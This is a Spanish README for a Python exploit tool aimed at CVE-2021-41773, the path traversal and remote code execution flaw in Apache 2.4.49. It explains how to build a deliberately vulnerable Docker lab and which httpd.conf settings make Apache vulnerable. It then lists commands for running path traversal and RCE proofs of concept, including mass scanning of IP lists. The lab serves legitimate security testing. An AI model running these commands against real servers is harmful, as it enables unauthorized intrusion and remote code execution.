Apache 2.4.49 - Path Traversal o Ejecución Remota de Código

cve-2021-41773.py es un script de Python que te ayudará a encontrar la vulnerabilidad de Path Traversal o Ejecución Remota de Código en Apache 2.4.49. Se proporciona una instancia vulnerable de Docker para que te pongas manos a la obra con CVE-2021-41773.

Si CGI-BIN está habilitado, podemos realizar Ejecución Remota de Código pero no Path Traversal, por lo que se ha añadido el directorio "icons" en la sección Alias de httpd.conf para comprobar la vulnerabilidad de Path Traversal.

Configuraciones vulnerables en httpd.conf

1. Enable CGI-BIN
2. Add "icons" directory in Alias section
3. <Directory>Require all granted</Directory>

Laboratorio para CVE-2021-41773

Construir Docker

$ docker build -t cve-2021-41773 .

Ejecutar Docker

$ docker run -it cve-2021-41773

Uso de cve-2021-41773.py

Comprobar Path Traversal y Ejecución Remota de Código

$ python3 cve-2021-41773.py -u http://172.17.0.2

PoC de Path Traversal

$ python3 cve-2021-41773.py -u http://172.17.0.2 -pt

PoC de Ejecución Remota de Código

$ python3 cve-2021-41773.py -u http://172.17.0.2 -rce

Para escaneo masivo, proporciona un archivo de texto que contenga las IPs:

$ python3 cve-2021-41773.py -l list.txt

$ python3 cve-2021-41773.py -l list.txt -pt

$ python3 cve-2021-41773.py -l list.txt -rce

Puedes encontrar más información aquí.

Referencias

• https://nvd.nist.gov/vuln/detail/CVE-2021-41773
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
• https://httpd.apache.org/security/vulnerabilities_24.html
• https://www.cve.org/CVERecord?id=CVE-2021-41773
• https://walnutsecurity.com/path-traversal-remote-code-execution-in-apache/